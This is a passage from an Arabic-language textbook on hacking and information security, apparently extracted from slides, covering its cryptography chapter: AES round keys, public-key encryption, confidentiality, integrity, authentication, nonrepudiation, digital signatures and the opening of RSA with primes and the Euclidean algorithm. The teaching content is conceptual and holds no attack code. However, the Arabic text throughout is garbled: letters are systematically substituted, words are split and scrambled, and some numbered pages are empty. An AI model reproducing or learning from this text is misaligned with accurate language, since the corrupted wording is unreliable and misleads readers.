‫ذذا‬ ‫بني‬ Rcon ‫وال‬ Wi-4 . ‫تظه‬ ‫اخلطوة‬ ‫ر‬ " ‫الثالث‬ ‫ة‬ " ‫الشكل‬ ‫يف‬ ..‫التايل‬ (Figure 9) .. ‫وِب‬ ‫ا‬ ‫ال‬ ‫يف‬ ‫عمود‬ ‫أول‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ (Round Key 2) . Figure 9
  • 328.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [328] :‫جيد‬ ‫بأسلوب‬ ‫اخلطوات‬ ‫ذذه‬ ‫توضح‬ ‫التي‬ ‫الصور‬ ‫بعض‬ ً‫ا‬‫أيض‬ ‫وذذه‬
  • 329.
  • 330.
  • 331.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [331] Source: http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html ‫ال‬ ‫ذذا‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫قد‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬ Cryptosystem . ‫سننتقل‬ ‫ال‬ ‫عامل‬ ‫لىل‬ Asymmetric Cryptography ، ..‫بنا‬ ‫ذيا‬
  • 332.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [332] Asymmetric Cryptography ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ “Public Key Cryptography” ، ‫ونعن‬ ‫ه‬‫ب‬ ‫ي‬ : " ‫باستخدام‬ ‫يانات‬َ‫ب‬‫ال‬ ‫َشفري‬‫ت‬ ‫مفتاحني‬ ‫التشفري‬ ‫وقك‬ ‫للتشفري‬ ‫واحد‬ ‫فتاح‬‫م‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ ‫شخص‬ ‫ُل‬‫ك‬‫ل‬ " ! . ‫ال‬ ‫ستقوم‬ Algorithm ‫باستخدام‬ ‫نا‬ُ‫ذ‬ 2 Keys ‫شرتكني‬ُ‫مل‬‫ا‬ ‫الطرقني‬ ‫كال‬‫ل‬ ‫األول‬ ‫املفتاح‬ ،‫االتصال‬ ‫قناة‬ ‫يف‬ (Public Key) ‫ستخدم‬ُ‫ي‬ ‫والثاين‬ ،‫اآلطر‬ ‫للطرف‬ ‫لرساهلا‬ ‫بل‬َ‫ق‬ ‫البيانات‬ ‫تشفري‬ ‫عملية‬ ‫يف‬ (Private Key) ‫لع‬ ‫ستخدم‬ُ‫ي‬ ‫ا‬ ‫تشفري‬ ‫قك‬ ‫ملية‬ ‫لبيانات‬ .‫اآلطر‬ ‫الطرف‬ ‫من‬ ‫القادمة‬ ‫أك‬ ‫الصورة‬ ‫نوضح‬‫ل‬ ‫ثر‬ .. ‫م‬ُ‫ذ‬ ‫احلقيق‬ ‫يف‬ ‫ة‬ ‫مفاتيح‬ ‫أربعة‬ .. :‫طرف‬ ‫لكل‬ ‫مفتاحني‬
  • 333.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [333] ‫ق‬ ‫بعمل‬ ‫سيقوم‬ ‫منا‬ ‫كل‬ Generate ‫ل‬ Public and Private Keys ، ‫ال‬ ‫يل‬ ‫ل‬‫س‬ ُ ‫سري‬ Receiver ‫ال‬ Public Key ‫اخلاص‬ .ُ‫ه‬‫ل‬ ‫لرساهلا‬ ‫أريد‬ ‫التي‬ ‫البيانات‬ ‫بتشفري‬ ‫أنا‬ ‫ألقوم‬ ‫به‬ ‫ال‬ ‫له‬ ‫سأرسل‬ ً‫ا‬‫أيض‬ ‫وأنا‬ Public Key ‫بال‬ ‫منا‬ ‫كل‬ ‫وحيتفظ‬ ،‫يب‬ ‫اخلاص‬ Private Key ‫ألننا‬ ،!‫لنفسه‬ ‫به‬ ‫اخلاص‬ ‫سنستخدمهم‬ .‫التشفري‬ ‫قك‬ ‫يف‬ ‫لل‬ ‫ِّن‬‫ك‬ُ‫مت‬ ،‫فتاحني‬‫امل‬ ‫بني‬ ‫رياضية‬ ‫القة‬َ‫ع‬ ‫وجود‬ ‫ب‬َ‫ب‬‫س‬‫ب‬ ‫ذذا‬ Private key ‫بال‬ ‫شفرة‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫قك‬ ‫ن‬‫م‬ public key . :‫التفصيل‬ ‫من‬ ‫بيشء‬ ‫العملية‬ ‫ذذه‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫ذذا‬ ‫الطرف‬ ‫أن‬ ‫يظهر‬ B ‫بعمل‬ ‫يقوم‬ generate ‫لل‬ key pair ‫ال‬ ‫ل‬‫رس‬ُ‫ي‬ ‫م‬ُ‫ث‬ ، public key ‫اخلاص‬ ‫للطرف‬ ‫ه‬‫ب‬ A ، ‫يقوم‬ ‫كي‬ A ‫ب‬ ‫ل‬ ‫استخدامه‬ .‫له‬ ‫ولرساهلا‬ ‫الرسالة‬ ‫تشفري‬ ‫جيد‬ ‫ذذا‬ ! ..
  • 334.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [334] ً‫ال‬‫سؤا‬ ‫عليك‬ ‫أطرح‬ ‫دعني‬ ‫منطقي‬ ً‫ا‬ ‫ت‬ ‫أن‬ ‫بعد‬ !‫ذذه‬ ‫التشفري‬ ‫تكنولوجيا‬ ‫يف‬ ‫عمقنا‬ . ‫ال‬ ‫لنا‬ ‫قدمها‬ُ‫ي‬ ‫التي‬ ‫اخلدمة‬ ‫ماذي‬ ‫أو‬ ‫األساس؟‬ ‫من‬ ‫التشفري‬ ‫من‬ ‫اهلدف‬ ‫ماذو‬ Cryptography ‫؟‬.. !ً‫ال‬‫قع‬ ‫مهم‬ ‫سؤال‬ ‫لنه‬ . ‫الت‬ ‫ذذه‬ :‫نا‬َ‫ل‬ ‫ققها‬َ ُ ‫حت‬ ‫أذداف‬ ‫أربعة‬ ‫أذم‬ ‫لك‬ ‫سأذكر‬ ،‫عديدة‬ ‫قوائد‬ ‫لنا‬ ‫تقدم‬ ‫كنولوجيا‬ Confidentiality ‫ال‬ ‫أن‬ ‫و‬ ،‫أكثر‬ ‫أو‬ ‫شخصني‬ ‫بني‬ ‫التواصل‬ ‫أثناء‬ ‫الُسية‬ ‫تضمن‬ ‫التي‬ ‫وذي‬ ،‫املوثوقية‬ ‫تعني‬ Data ‫ستكون‬ ‫بينهم‬ ‫تنتقل‬ ‫التي‬ .‫الُسية‬ ‫وحمفوظة‬ ،‫اخلارجي‬ ‫املحيط‬ ‫عن‬ ‫معزولة‬ ‫ذلك‬ ‫عىل‬ ‫مثال‬ " ‫الشهاد‬ ‫املدرسية‬ ‫ات‬ " ‫واخلرجيني‬ ‫الطالب‬ ‫درجات‬ ‫كشف‬ ‫أو‬ . ‫ذذه‬ ‫أن‬ ‫اجلامعة‬ ‫أو‬ ‫املعهد‬ ‫يضمن‬ ‫حيث‬ .!‫اجلديد‬ ‫دراسته‬ ‫أو‬ ‫عمله‬ ‫وحمل‬ ،‫أمره‬ ‫وأولياء‬ ،‫نفسه‬ ‫الطالب‬ ‫لال‬ ‫عليها‬ ‫ع‬‫ل‬ّ‫ط‬َ‫ي‬ ‫ال‬ ‫البيانات‬ ‫ناك‬ُ‫قه‬ ‫وبالتايل‬ Proof ‫أن‬ ‫ب‬ َ ‫جي‬ ‫نسخ‬ ‫يريد‬ ‫الذي‬ ‫الشخص‬ ‫أو‬ ‫اجلهة‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫م‬‫قد‬ُ‫ي‬ ‫ة‬ ‫امللفات‬ ‫ذذه‬ ‫من‬ .! ‫ماييل‬ ‫تعريف‬ ‫ُمترص‬ ‫هلا‬ : Is the protection of transmitted data from “Passive Attacks” ‫؟‬..“Passive Attacks” ‫ال‬ ‫ماذذا‬ ‫ال‬ ‫عىل‬ ‫اإلطالع‬ ‫عملية‬ ‫لهنا‬ Data .‫طرقني‬ ‫بني‬ ‫انتقاهلا‬ ‫يتم‬ ‫التي‬ :‫التايل‬ ‫الشكل‬ ‫املفهوم‬ ‫ذذا‬ ‫لخص‬ُ‫ي‬
  • 335.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [335] Integrity ‫ِبا‬ ‫نعني‬ " ‫س‬ ‫البيانات‬ ‫المة‬ " ، ‫أو‬ ‫ما‬ ‫ييل‬ : Integrity Assures that messages are received as sent with no duplication, insertion, modification, reordering, or replay. ‫ال‬ ‫ماذذا‬ “Replay” ‫ال‬ ‫من‬ ‫نوع‬ ‫لنه‬ Attacks ‫ال‬ ‫حتت‬ ‫صنف‬ُ‫مل‬‫ا‬ Active Attacks ، ‫قهو‬ Active ‫ال‬ ‫ألن‬ Attacker ‫عىل‬ ‫تعديل‬ ‫بعمل‬ ‫سيقوم‬ ‫ال‬ ‫ذذه‬ data .!‫أطرى‬ ً‫ة‬‫مر‬ ‫لرساهلا‬ ‫عيد‬ُ‫ي‬‫و‬
  • 336.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [336] Authentication .!‫يشء‬ ‫أي‬ ‫أو‬ ‫األجهزة‬ ‫أو‬ ‫األشخاص‬ ‫ذوية‬ ‫من‬ ‫التحقق‬ ‫عملية‬ ‫ببساطة‬ ‫ذذه‬ ‫ماييل‬ :‫العملية‬ ‫هلذه‬ ‫مثال‬
  • 337.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [337] ‫ال‬ ‫أن‬ ‫الحظ‬ Server ‫منه‬ ‫يطلب‬ ‫ربام‬ ،‫بعينه‬ ‫يشء‬ ‫منه‬ ‫طلب‬ ،‫ذويته‬ ‫ثبت‬ُ‫ي‬ ‫أن‬ ‫بوب‬ ‫السيد‬ ‫من‬ ‫طلب‬ ‫عندما‬ Password ‫لث‬ ‫من‬ ‫كنوع‬ ً‫ا‬‫أيض‬ ،‫اهلوية‬ ‫بات‬ ‫ق‬ ‫ال‬ ‫ذذا‬ ‫أن‬ ‫بعينه‬ ‫يشء‬ ‫منه‬ ‫يطلب‬ ‫أنه‬ ‫معنى‬ Server ‫عالقة‬ ‫بتطبيق‬ ‫سيقوم‬ “Compare” .. ‫حمدد‬ ‫قيمة‬ ‫بمقارنة‬ ‫سيقوم‬ ‫ة‬ ‫ال‬ ‫ذذا‬ ُ‫ه‬‫ل‬‫دط‬ُ‫ي‬‫س‬ ‫بام‬ ‫عنده‬ user ، ‫ال‬ ‫عطيه‬ُ‫ي‬‫س‬ ،‫تطابقا‬ ‫قإن‬ access . ‫عن‬ ‫ختتلف‬ ‫لهنا‬ ‫ال‬ “Identification” .! :‫اآليت‬ ‫تعني‬ ‫ذذه‬ ‫قالثانية‬ ‫بإدطال‬ ‫تقوم‬ ‫عندما‬ ‫ث‬ُ‫حيد‬ ‫أن‬ ‫لىل‬ ‫لديه‬ ‫التي‬ ‫األسامء‬ ‫بكل‬ ‫اإلسم‬ ‫ذذا‬ ‫بمقارنة‬ ‫ذو‬ ‫قيقوم‬ ،ً‫ال‬‫مث‬ ‫لسمك‬ match ً‫ا‬‫لذ‬ ‫لهنا‬ ، ‫نوع‬ ‫من‬ ‫عالقة‬ “One-to-Many” ‫ال‬ ‫بعملية‬ ‫أشبه‬ ‫ذذا‬ . Search . ‫ال‬ ‫بينام‬ Authentication ‫عالقة‬ ‫ُعترب‬‫ت‬ “One-to-One” . :‫بمعنى‬ (Compare only, No search.!) .. ‫ن‬ ‫التالية‬ ‫الصفحة‬ ‫يف‬ ‫ع‬ ‫رض‬ ‫بعض‬ ‫أشكال‬ ‫ال‬ Authentication ..
  • 338.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [338] Nonrepudiation provides assurance to the recipient that the message was actually originated by the sender and not someone masquerading as the sender. It prevents the sender from claiming that they never sent the message in the first place “it prevents ether sender or receiver from denying a transmitted message” ‫ال‬ ‫ماذذا‬ Masquerading ‫؟‬.. ‫ال‬ ‫أنواع‬ ‫من‬ ‫نوع‬ ‫لنه‬ Active Attacks ‫ال‬ ‫قيه‬ ‫يقوم‬ ‫الذي‬ Attacker ‫ب‬ ‫انتحال‬ ‫ال‬ ‫ولسال‬ ‫أحدذم‬ ‫شخصية‬ Data ُ‫ه‬‫وكأن‬ ‫ذو‬ ‫ذلك‬ .‫الشخص‬
  • 339.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [339] ‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ذذا‬ :Masquerading Attack ‫اخلاصية‬ ‫ذذه‬ - Nonrepudiation - ‫ال‬ ‫لنا‬ ‫رذا‬ِّ‫ق‬‫و‬ُ‫ي‬ ‫ال‬ Symmetric Cryptography . ‫ال‬ ‫ذذا‬ ‫يمتلك‬ ‫شخص‬ ‫أي‬ ‫ببساطة‬ ‫ألنه‬ Shared Secret Key .!‫يل‬ ‫ولرساهلا‬ ‫الرسالة‬ ‫تشفري‬ ‫من‬ ‫سيتمكن‬ Because any communicating party can encrypt and decrypt messages with the shared secret key, there is no way to tell where a given message originated. ‫ال‬ ‫لىل‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫لنعود‬ ‫ذيا‬..‫واآلن‬ Asymmetric Cryptography . ‫ال‬ ‫عن‬ ‫نتكلم‬ ‫كنا‬ Asymmetric Cryptosystem .. ‫و‬ ‫ب‬ ‫عىل‬ ‫عرضه‬ ‫املفاذيم‬ ‫عرقناذا‬ ‫التي‬ ‫اجلديدة‬ ‫اآلن‬ ، ُ ‫حي‬ ‫أنه‬ ‫ُالحظ‬‫ن‬ ‫ماييل‬ ‫لنا‬ ‫قق‬ : Confidentiality, integrity, and Nonrepudiation .
  • 340.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [340] ‫ال‬ ‫باستخدام‬ ‫اخلصائص‬ ‫ذذه‬ ‫حتقيق‬ ‫به‬ ‫نوضح‬ ‫آطر‬ ‫مثال‬ ‫سنأطذ‬ Asymmetric Keys . ‫ططوة‬ ‫بإضاقة‬ ‫املثال‬ ‫ذذا‬ ‫يف‬ ‫منا‬ُ‫ق‬ ‫أو‬ ‫التشفري‬ ‫عملية‬ ‫أن‬ ‫وذي‬ ‫جديدة‬ ‫قك‬ ‫التشفري‬ ‫مرحلة‬ ‫من‬ ً‫ال‬‫بد‬ ‫مرحلتني‬ ‫عىل‬ ‫ستكون‬ ‫سيقوم‬ .!‫واحدة‬ A ‫الرس‬ ‫بتشفري‬ ‫ال‬ ‫استخدام‬ ً‫ال‬‫أو‬ ‫الة‬ private key ‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫رذا‬ِّ‫ف‬‫ش‬ُ‫ي‬ ‫ثم‬ ،‫به‬ ‫اخلاص‬ public key ‫م‬‫باملستخد‬ ‫اخلاص‬ B . ‫ال‬ ‫طدمة‬ ‫توقري‬ ‫يف‬ ‫األوىل‬ ‫التشفري‬ ‫عملية‬ ‫قائدة‬ ‫ن‬ُ‫تكم‬ Nonrepudiation ‫ألن‬ ، A ‫يمتلك‬ ‫الذي‬ ‫الوحيد‬ ‫الشخص‬ ‫ذو‬ ‫ال‬ private key ‫قلن‬ ،‫التشفري‬ ‫عملية‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬ ‫تشفري‬ ‫من‬ ‫غريه‬ ‫أحد‬ ‫يتمكن‬ ‫من‬ ‫قادمة‬ ‫أهنا‬ ‫وادعاء‬ ‫الرسالة‬ A ‫من‬ ‫قادمه‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫عىل‬ ‫تأكيد‬ ‫وذذا‬ . A ‫و‬ ، A ،!‫ققط‬ ‫أحد‬ ‫توضيح‬ ‫لىل‬ ‫نا‬ ُّ‫ر‬ُ‫جي‬ ‫ذذا‬ ‫ال‬ ‫تطبيقات‬ Public Key Cryptosystems ‫ال‬ ‫وذو‬ “Digital Signature”
  • 341.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [341] ‫ال‬ ‫ماذذا‬ Digital Signature ‫؟‬.. ‫ب‬ ‫ساب‬‫ح‬ ‫تح‬َ‫ف‬‫ل‬ ‫َذذب‬‫ت‬ ‫ندما‬‫ع‬ ‫بالتوقيع‬ ‫طاص‬ ‫مستند‬ ‫منها‬‫ض‬ ‫من‬ ‫املستندات‬ ‫من‬ ‫جمموعة‬ ‫املوظف‬ ‫لك‬ ‫م‬ِّ‫قد‬ُ‫ي‬ ،‫البنوك‬ ‫أحد‬ .‫لدهيم‬ ‫ملفك‬ ‫يف‬ ‫فظه‬‫ح‬ ‫م‬‫ت‬َ‫ي‬ ‫َد‬‫ن‬‫ست‬ُ‫مل‬‫ا‬ ‫ذذا‬ ،‫الشخيص‬ ‫العميل‬ ‫لمضاء‬ ‫أو‬ ‫ل‬ ‫أردت‬ ‫وقكلام‬ ‫حسابك‬ ‫عىل‬ ‫تعديالت‬ ‫أي‬ ‫جراء‬ ‫البنك‬ ‫لىل‬ ‫ولرساله‬ ‫طلبك‬ ‫عىل‬ ‫باإلمضاء‬ ‫تقوم‬ ‫البالد‬ ‫طارج‬ ‫وأنت‬ ‫كإجراء‬ ‫بالفاكس‬ ‫لجراءات‬ ‫عدة‬ ‫ضمن‬ ‫املوظف‬ ‫قيقوم‬ ، ‫اإل‬ ‫ذذا‬ ‫قارنة‬ُ‫مل‬ ‫ملفك‬ ‫بفتح‬ ‫مضاء‬ ‫ب‬ !‫بامللف‬ ‫الذي‬ ‫ذلك‬ . ‫ذذا‬ ‫األمر‬ ‫ي‬ ‫مفهوم‬ ‫مع‬ ‫تشابه‬ digital signature ‫جمرد‬ ‫كوهنا‬ ‫عىل‬ ‫تقترص‬ ‫ال‬ ‫وظيفتها‬ ‫لكن‬ ،ً‫ا‬‫للكرتوني‬ ‫ُستخدم‬‫ت‬ ‫األطرية‬ ‫أن‬ ‫غري‬ :ً‫ا‬‫أيض‬ ‫أطرى‬ ‫طدمات‬ ‫لنا‬ ‫م‬ِّ‫ُقد‬‫ت‬ ‫قهي‬ ،!‫لمضاء‬ Digital signatures can provide the added assurances of evidence to origin, identity and status of an electronic document, transaction or message, as well as acknowledging informed consent by the signer. ..‫قيامبعد‬ ‫التفصيل‬ ‫من‬ ‫بيشء‬ ‫لليها‬ ‫سنأيت‬ ‫بينام‬ ‫سنذذب‬ ‫اآلن‬ ‫ت‬ ُ ‫ُم‬ ‫جولة‬ ‫يف‬ ‫ال‬ ‫أحد‬ ‫داطل‬ ‫ة‬َ‫ع‬ “Public Key Cryptosystems” ‫د‬ِّ‫ي‬‫الس‬ ‫وذو‬ “RSA” .‫م‬َ َ ‫حرت‬ُ‫مل‬‫ا‬ RSA ‫ال‬ ‫ملعهد‬ ‫ينتمون‬ ‫وذم‬ ‫النظام‬ ‫ذذا‬ ‫بابتكار‬ ‫قامو‬ ‫الذين‬ ‫الثالثة‬ ‫لىل‬ ‫تسميته‬ ‫ُشري‬‫ت‬ MIT . Ron Rivest, Adi Shamir, and Leonard Adleman at MIT ‫هلم‬ ً‫ا‬‫شكر‬  .
  • 342.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [342] :‫النظام‬ ‫ذذا‬ ‫شكل‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫السيد‬ ‫ريد‬ُ‫ي‬ Bob ‫لىل‬ ‫رسالة‬ ‫لرسال‬ Alice ‫ال‬ ‫قيستخدم‬ ، Public Key ،‫لذلك‬ ‫ِبا‬ ‫اخلاص‬ ‫الشفرة‬ ‫بفك‬ ‫ذي‬ ‫قتقوم‬ ‫ال‬ ‫باستخدام‬ Private Key .‫ِبا‬ ‫اخلاص‬ ‫ال‬ ‫من‬ ٍ ‫أي‬ ‫أن‬ ‫لك‬ ‫أوضح‬ ‫أن‬ ‫حب‬ُ‫أ‬ ً‫ا‬‫أيض‬ Keys ‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬ ُ‫ه‬‫استخدام‬ ‫مكن‬ُ‫ي‬ Encryption ، ‫ال‬ ‫ستخدم‬ُ‫ي‬‫و‬ Key ‫اآلطر‬ ‫ال‬ ‫عملية‬ ‫يف‬ Decryption . ‫ال‬ ‫باستخدام‬ ‫للتشفري‬ ‫ثال‬‫امل‬ ‫ذذا‬ َ‫كان‬ Public Key ‫بال‬ ‫التشفري‬ ‫ك‬َ‫ق‬‫و‬ Private Key . ‫س‬ ‫د‬‫ُشاذ‬‫ن‬ َ‫ي‬ ‫آطر‬ ‫ثال‬‫م‬ ‫ب‬ ‫قوم‬ َ‫ع‬ ‫س‬‫ك‬ ‫عملية‬ ‫ال‬ ‫استخدام‬ Keys :
  • 343.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [343] ‫السيد‬ ‫ذنا‬ ‫يظهر‬ Bob ‫بال‬ ‫رسالته‬ ‫ر‬ِّ‫ف‬‫ش‬ُ‫ي‬ ‫وذو‬ Private Key ‫تقوم‬ ‫م‬ُ‫ث‬ ،‫ذو‬ ‫به‬ ‫اخلاص‬ Alice ‫ال‬ ‫باستخدام‬ ‫الشفرة‬ ‫ك‬َ‫ف‬‫ب‬ Public Key .ً‫ا‬‫أيض‬ ‫به‬ ‫اخلاص‬ ‫ذيا‬ ‫لنتعمق‬ ‫ال‬ ‫داطل‬ RSA Algorithm ..!
  • 344.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [344] RSA Algorithm ‫ال‬ ‫ذذه‬ ‫برشح‬ ‫سنقوم‬ Algorithm :‫ططوات‬ ‫ة‬ّ‫د‬‫ع‬ ‫عىل‬ ‫و‬ ،‫تلفني‬ ُ ‫ُم‬ ،‫كبريين‬ ،‫عشوائيني‬ ‫عددين‬ ‫اطتيار‬ ‫ذي‬ ‫ططوة‬ ‫أول‬ " ِّ ‫أوليني‬ " . :‫ب‬ ‫هلم‬ ‫ز‬ُ‫م‬‫نر‬ َ ‫س‬ p ‫و‬ q . Choose two large prime numbers (approximately 200 digits each), labeled p and q ‫ال‬ ‫ذذا‬ ‫ما‬ Prime Number ‫؟‬.. ‫ي‬ ‫ذذا‬ ‫القصة‬ ‫ذذه‬ ‫لك‬ ‫ألحكي‬ ‫دقعني‬ : ُ‫ه‬‫اسم‬ ‫قيلم‬ ‫أشاذد‬ ‫ُنت‬‫ك‬ “A brilliant young mind”
  • 345.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [345] ‫فل‬‫ط‬ ‫صة‬‫ق‬ ‫كي‬ َ ‫حي‬ ،!‫ة‬َ‫تاز‬ ُ ‫ُم‬ ‫رياضية‬ ‫عقلية‬ ‫يمتلك‬ ‫يف‬ ‫دولية‬ ٍ ‫سابقات‬ُ‫م‬ ‫ض‬‫و‬‫خل‬ ‫وتأذيله‬ ،‫ه‬‫ب‬ ‫باإلذتامم‬ ُ‫ه‬‫م‬ُ‫أ‬ ‫بدأت‬ ‫وكيف‬ ‫جمال‬ ..‫الرياضيات‬ ..‫هم‬ُ‫مل‬‫ا‬ ‫الوجبة‬ ‫يدة‬‫الس‬ ‫ت‬َ‫ب‬‫ل‬َ‫ط‬َ‫ق‬ ،‫أرقام‬‫ب‬ ‫بات‬ َ‫ج‬َ‫الو‬ ‫ي‬ّ‫سم‬ُ‫ي‬ َ‫َان‬‫ك‬ ‫م‬َ‫ع‬‫ط‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫أن‬ ‫ويبدو‬ ،‫الغداء‬ ‫وجبة‬ ‫له‬ ‫لتشرتي‬ ُ‫ه‬‫أم‬ ‫ذذبت‬ ‫يوم‬ ‫ذات‬ ‫رقم‬ " 47 " ‫رقم‬ ‫وذو‬ ‫أويل‬ ،! ‫الوج‬ ‫ذذه‬ ‫بداطل‬ ‫القطع‬ ‫عدد‬ ‫عىل‬ ‫تعديل‬ ‫لجراء‬ ‫أرادت‬ ‫لكنها‬ ‫ب‬ ‫ة‬ ‫عددذا‬ ‫لتكون‬ " ً‫ا‬‫أولي‬ " .!ً‫ا‬‫أيض‬ ‫رقم‬ ‫الوجبة‬ ‫تأطذ‬ ‫أن‬ ‫هلا‬ ‫األقضل‬ ‫من‬ ‫أنه‬ ‫الكاشري‬ ‫هلا‬ ‫ققال‬ “48” ،‫املطلوب‬ ‫عىل‬ ‫الحتوائها‬ ‫له‬ ‫وقالت‬ ً‫ال‬‫قلي‬ ‫السيدة‬ ‫قرتددت‬ : " ‫لن‬ ‫لنه‬ ..‫اليشء‬ ‫بعض‬ ‫غريبة‬ ‫طباع‬ ‫لديه‬ ‫قولدي‬ ‫اعذرين‬ !‫األولية‬ ‫األرقام‬ ‫لال‬ ‫ل‬َ‫ب‬‫ق‬َ‫ي‬ " ، ‫األولية‬ ‫األرقام‬ ‫ل‬َ‫دو‬ َ‫ج‬ ‫أطرجت‬ ‫م‬ُ‫ث‬ ‫الرقم‬ ‫ذل‬ ‫لتتأكد‬ ‫نطتها‬ َ ‫ش‬ ‫ن‬‫م‬ 48 ..‫ال‬ ‫م‬َ‫أ‬ ً‫ا‬‫أولي‬ ‫أول‬ ‫ليس‬ ‫أنه‬ ‫ُريه‬‫ت‬ ‫أن‬ ‫أرادت‬ ‫ثم‬ ،‫باألسفل‬ ‫الصورة‬ ‫يف‬ ‫يبدو‬ ‫كام‬ ً‫ا‬‫ي‬ ‫اإل‬ ‫مالمح‬ ‫الكاشري‬ ‫عىل‬ ‫قارتسمت‬ ‫ندذا‬ ‫يظهر‬ ‫كام‬ .
  • 346.
  • 347.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [347] ‫الرقم‬ ‫أسفل‬ ‫تقع‬ ‫التي‬ ‫األولية‬ ‫األعداد‬ ‫يوضح‬ ‫السابق‬ ‫اجلدول‬ “2000” . ..!‫السؤال‬ ‫عىل‬ ‫ب‬‫ُج‬‫ن‬ ‫مل‬ ‫ولكن‬ ‫بي‬ ‫قيام‬ ‫أوليني‬ ‫العددين‬ ‫يكون‬ ‫كيف‬ ‫بينهم؟‬ ‫قيام‬ ‫أوليان‬ ‫العددان‬ ‫ذذان‬ ‫أن‬ ‫ُم‬‫ك‬‫نح‬ ‫كيف‬ ‫أو‬ ،‫األساس؟‬ ‫من‬ ‫نهام‬ ‫ذو‬ ‫ذذا‬ ..ً‫ا‬‫حسن‬ ‫التعريف‬ :ً‫ال‬‫أو‬ ‫يف‬ ‫صحيحان‬ ‫عددان‬ ‫يكون‬ ،‫األعداد‬ ‫نظرية‬ ‫بينهام‬ ‫قيام‬ ‫أوليني‬ :(Coprime integers) ‫يكون‬ ‫عندما‬ ‫األكرب‬ ‫املشرتك‬ ‫القاسم‬ Greatest Common Divisor (GCD) ‫لجيا‬ ‫يمكن‬ ‫والذي‬ ‫بينهام‬ ‫باستعامل‬ ‫ده‬ ‫للعدد‬ ً‫ا‬‫مساوي‬ ،‫اقليدس‬ ‫طوارزمية‬ .(1) ‫األكرب؟‬ ‫شرتك‬ُ‫مل‬‫ا‬ ‫القاسم‬ ‫ذذا‬ ‫وما‬ ُ‫ه‬‫لن‬ ‫دد‬َ‫ع‬ ‫أكرب‬ ‫م‬‫س‬‫ق‬َ‫ي‬ ‫أي‬ ‫بدون‬ ً‫ا‬‫ع‬َ‫م‬ ‫العددين‬ ‫الوقت‬ ‫َفس‬‫ن‬ ‫يف‬ ‫باقي‬ ‫للعددين‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ،‫ة‬َ‫سم‬‫ق‬ ( 48 ‫و‬ 60 ) ‫سيكو‬ ، ‫ن‬ 12 . ‫سام‬ُ‫مل‬‫ا‬ ‫اخلاورزمية‬ ‫ذذه‬ ‫نا‬َ‫ل‬ ‫ب‬‫س‬ َ ‫حت‬ َ ‫َيف‬‫ك‬‫و‬ ‫ة‬ " ‫لقليدس‬ " ‫ال‬ GCD ‫لعدد‬ ‫؟‬..‫أوليني‬ ‫ين‬ ‫لقليدس‬ ..‫االسم‬ ‫ذذا‬ ‫مجيل‬  . “Euclidean Algorithm” ‫ال‬ ‫حساب‬ ‫طريقة‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬ GCD ‫وذم‬ ،‫بينهم‬ ‫قيام‬ ‫أوليني‬ ‫يكونا‬ ‫أن‬ ‫ض‬َ‫رت‬‫ف‬ُ‫ي‬ 